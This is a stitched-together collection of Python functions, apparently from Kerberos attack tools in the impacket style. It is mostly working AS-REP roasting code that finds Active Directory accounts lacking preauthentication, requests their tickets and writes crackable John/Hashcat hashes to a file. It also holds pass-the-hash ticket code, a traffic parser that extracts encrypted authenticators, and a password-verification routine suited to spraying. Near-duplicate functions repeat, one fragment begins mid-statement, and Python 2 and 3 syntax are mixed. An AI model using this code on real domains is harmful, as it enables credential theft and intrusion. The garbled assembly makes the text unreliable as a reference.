def getTGT(self, userName, requestPAC=True): clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = self.__domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, self.__kdcHost) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, self.__kdcHost) else: raise e
def getTGT(self, userName, requestPAC=True): clientName = Principal( userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = self.__domain.upper() serverName = Principal( 'krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, self.__kdcHost) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types supportedCiphers = ( int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value ), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, self.__kdcHost) else: raise e # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set try: asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set raise Exception( 'User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) if self.__outputFormat == 'john': # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. return '$krb5asrep$%s@%s:%s$%s' % ( clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) else: # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) # Yes.. this shouldn't happend but it's inherited from the past if aesKey is None: aesKey = '' if nthash == '': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != '': if len(aesKey) == 64: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and aesKey is '': supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise
None) encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData['etype'] = cipher.enctype encryptedData['cipher'] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = None asReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body')
def enumKerbPre(self): # Build user array users = [] self.conn.search( self.dc_string[:-1], '(&(samaccounttype=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: users.append( str(entry['sAMAccountName']) + '@{0}'.format(self.server)) if len(users) == 0: print( '[ ' + colored('OK', 'green') + ' ] Found {0} accounts that does not require Kerberos preauthentication' .format(len(users))) elif len(users) == 1: print( '[ ' + colored('OK', 'yellow') + ' ] Found {0} account that does not require Kerberos preauthentication' .format(len(users))) else: print( '[ ' + colored('OK', 'yellow') + ' ] Found {0} accounts that does not require Kerberos preauthentication' .format(len(users))) hashes = [] # Build request for Tickets for usr in users: clientName = Principal( usr, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = str(self.server).upper() serverName = Principal( 'krbtgt/{0}'.format(domain), type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacReq = KERB_PA_PAC_REQUEST() pacReq['include-pac'] = True encodedPacReq = encoder.encode(pacReq) asReq['pvno'] = 5 asReq['msg-type'] = int( constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacReq requestBody = seq_set(asReq, 'req-body') options = list() options.append(constants.KDCOptions.forwardable.value) options.append(constants.KDCOptions.renewable.value) options.append(constants.KDCOptions.proxiable.value) requestBody['kdc-options'] = constants.encodeFlags(options) seq_set(requestBody, 'sname', serverName.components_to_asn1) seq_set(requestBody, 'cname', clientName.components_to_asn1) requestBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) requestBody['till'] = KerberosTime.to_asn1(now) requestBody['rtime'] = KerberosTime.to_asn1(now) requestBody['nonce'] = random.getrandbits(31) supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(requestBody, 'etype', supportedCiphers) msg = encoder.encode(asReq) try: response = sendReceive(msg, domain, self.server) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: supportedCiphers = ( int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96. value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96. value), ) seq_set_iter(requestBody, 'etype', supportedCiphers) msg = encoder.encode(asReq) response = sendReceive(msg, domain, self.server) else: print(e) continue asRep = decoder.decode(response, asn1Spec=AS_REP())[0] hashes.append('$krb5asrep${0}@{1}:{2}${3}'.format( usr, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())) if len(hashes) > 0: with open('{0}-jtr-hashes'.format(self.server), 'w') as f: for h in hashes: f.write(str(h) + '\n') print('[ ' + colored('OK', 'yellow') + ' ] Wrote all hashes to {0}-jtr-hashes'.format(self.server)) else: print('[ ' + colored('OK', 'green') + ' ] Got 0 hashes')
def _parseForREQ(self, timestamp, asn_data, ip_packet): # decode data just to parse to see if it's a KDC_REQ packet try: asn = decoder.decode(asn_data)[0] if asn[0] != 5: return None except: return None # check to see if it's an AS_REQ or TGS_REQ if asn[1] != constants.ApplicationTagNumbers.AS_REQ.value and asn[ 1] != constants.ApplicationTagNumbers.TGS_REQ.value: return None # try decoding (both AS_REQ and TGS_REQ are KDC_REQ packets) try: req = decoder.decode(asn_data, asn1Spec=AS_REQ())[0] except: req = decoder.decode(asn_data, asn1Spec=TGS_REQ())[0] crealm = req['req-body']['realm'] cname = self._getPrinc(req['req-body']['cname']) trealm = req['req-body']['realm'] tname = self._getPrinc(req['req-body']['sname']) for padata in req['padata']: # extract encrypted authenticators from AS_REQ packets if padata[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value: auth = decoder.decode(padata['padata-value'], asn1Spec=EncryptedData())[0] if auth['etype'] == Enctype.DES_CRC: cenc = str(auth['cipher']) # extract encrypted ticket data from TGS_REQ packets if padata[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: asn1 = decoder.decode(padata['padata-value'])[0] if asn1[0] != 5 or asn1[1] != 14: return None ap = decoder.decode(padata['padata-value'], asn1Spec=AP_REQ())[0] trealm = ap['ticket']['realm'] tname = self._getPrinc(ap['ticket']['sname']) if ap['authenticator']['etype'] == Enctype.DES_CRC: cenc = str(ap['authenticator']['cipher']) if ap['ticket']['enc-part']['etype'] == Enctype.DES_CRC: tenc = str(ap['ticket']['enc-part']['cipher']) try: tenc_packet = KerbPacket(asn, socket.inet_ntoa(ip_packet.src), socket.inet_ntoa(ip_packet.dst), asn[1], cname, crealm, tname, trealm, tenc, 1, timestamp) except: tenc_packet = None try: cenc_packet = KerbPacket(asn, socket.inet_ntoa(ip_packet.src), socket.inet_ntoa(ip_packet.dst), asn[1], cname, crealm, tname, trealm, cenc, 0, timestamp) except: cenc_packet = None return tenc_packet, cenc_packet
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): try: lmhash = unhexlify(lmhash) except TypeError: pass if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) # Yes.. this shouldn't happen but it's inherited from the past if aesKey is None: aesKey = b'' if nthash == b'': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != b'': if len(aesKey) == 32: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and aesKey == '': supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set preAuth = True try: asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] # Yes preAuth = False encryptionTypesData = dict() salt = '' if preAuth is False: # In theory, we should have the right credentials for the etype specified before. methods = asRep['padata'] encryptionTypesData[supportedCiphers[ 0]] = salt # handle RC4 fallback, we don't need any salt tgt = r else: methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0] for method in methods: if method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etypes2 = decoder.decode(method['padata-value'], asn1Spec=ETYPE_INFO2())[0] for etype2 in etypes2: try: if etype2['salt'] is None or etype2['salt'].hasValue( ) is False: salt = '' else: salt = etype2['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype2['etype']] = b(salt) elif method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: etypes = decoder.decode(method['padata-value'], asn1Spec=ETYPE_INFO())[0] for etype in etypes: try: if etype['salt'] is None or etype['salt'].hasValue( ) is False: salt = '' else: salt = etype['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype['etype']] = b(salt) enctype = supportedCiphers[0] cipher = _enctype_table[enctype] # Pass the hash/aes key :P if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''): key = Key(cipher.enctype, nthash) elif aesKey != b'': key = Key(cipher.enctype, aesKey) else: key = cipher.string_to_key(password, encryptionTypesData[enctype], None) if preAuth is True: if enctype in encryptionTypesData is False: raise Exception('No Encryption Data Available!') # Let's build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp['patimestamp'] = KerberosTime.to_asn1(now) timeStamp['pausec'] = now.microsecond # Encrypt the shyte encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData['etype'] = cipher.enctype encryptedData['cipher'] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = noValue asReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), ))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception as e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # So, we have the TGT, now extract the new session key and finish cipherText = asRep['enc-part']['cipher'] if preAuth is False: # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]))) # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) try: plainText = cipher.decrypt(key, 3, cipherText) except InvalidChecksum as e: # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] # Get the session key and the ticket # We're assuming the cipher for this session key is the same # as the one we used before. # ToDo: change this sessionKey = Key(cipher.enctype, encASRepPart['key']['keyvalue'].asOctets()) # ToDo: Check Nonces! return tgt, cipher, key, sessionKey
def verify_kerberos_password(user, password, domain, kdc_host=None, request_pac=True, host_names=None, source_ip=None): host_names = host_names or [] clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) domain = domain.upper() serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest["include-pac"] = request_pac encodedPacRequest = encoder.encode(pacRequest) enctype = constants.EncryptionTypes.rc4_hmac.value encryptionTypesData = None # RC4 doesn"t have salt cipher = _enctype_table[enctype] salt = encryptionTypesData[enctype] if encryptionTypesData else '' key = cipher.string_to_key(password, salt, None) # Let"s build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp["patimestamp"] = KerberosTime.to_asn1(now) timeStamp["pausec"] = now.microsecond encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData["etype"] = cipher.enctype encryptedData["cipher"] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = noValue asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody["kdc-options"] = constants.encodeFlags(opts) seq_set(reqBody, "sname", serverName.components_to_asn1) seq_set(reqBody, "cname", clientName.components_to_asn1) reqBody["realm"] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody["till"] = KerberosTime.to_asn1(now) reqBody["rtime"] = KerberosTime.to_asn1(now) reqBody["nonce"] = random.getrandbits(31) seq_set_iter(reqBody, "etype", ((int(cipher.enctype),))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdc_host) except Exception as e: if str(e).find('KDC_ERR_PREAUTH_FAILED') >= 0: return False raise return True